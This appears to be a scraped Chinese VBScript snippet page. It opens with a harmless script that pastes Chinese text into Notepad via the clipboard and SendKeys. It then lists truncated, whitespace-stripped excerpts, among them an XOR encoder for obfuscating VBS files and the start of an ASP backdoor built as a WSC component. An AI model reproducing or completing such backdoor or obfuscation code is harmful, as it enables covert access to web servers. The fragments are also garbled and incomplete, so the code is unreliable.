Set WshShell=CreateObject("WScript.Shell") 
code="让SendKeys可以发送中文" 
WshShell.Run "cmd.exe /c echo " & code & "| clip.exe", vbHide 
app=WshShell.Run ("notepad") 
WScript.Sleep 1000 
WshShell.AppActivate app 
WshShell.SendKeys "^v{BS}" 
Wscript.Quit 

利用计划任务和VBS脚本实现自动WEB共享文件夹里的文件
OptionExplicitOnErrorResumeNext'生成列表的文件类型ConstsListFileType="wmv,rm,wma"'文件所在的相对路径ConstsShowPath="."'排序类型的常量定义ConstiOrderFieldFileName=0ConstiOrde

XorEncode的vbs实现代码
IfNotWScript.Arguments.Count=1ThenWScript.Echo"请将要转换的vbs文件托拽到我身上！":WScript.QuitSetfso=CreateObject("Scripting.FileSystemObject")Setself=fso.OpenTextFile(WScript.ScriptFul

利用wsc制作的一个asp后门
?xmlversion="1.0"encoding="gb2312"standalone="yes"??componenterror="true"debug="true"?packagecomponentid="haiyangtop"publicmethodname="lcx"parametername="b"//method/publicscriptlanguage="VBScript"![CD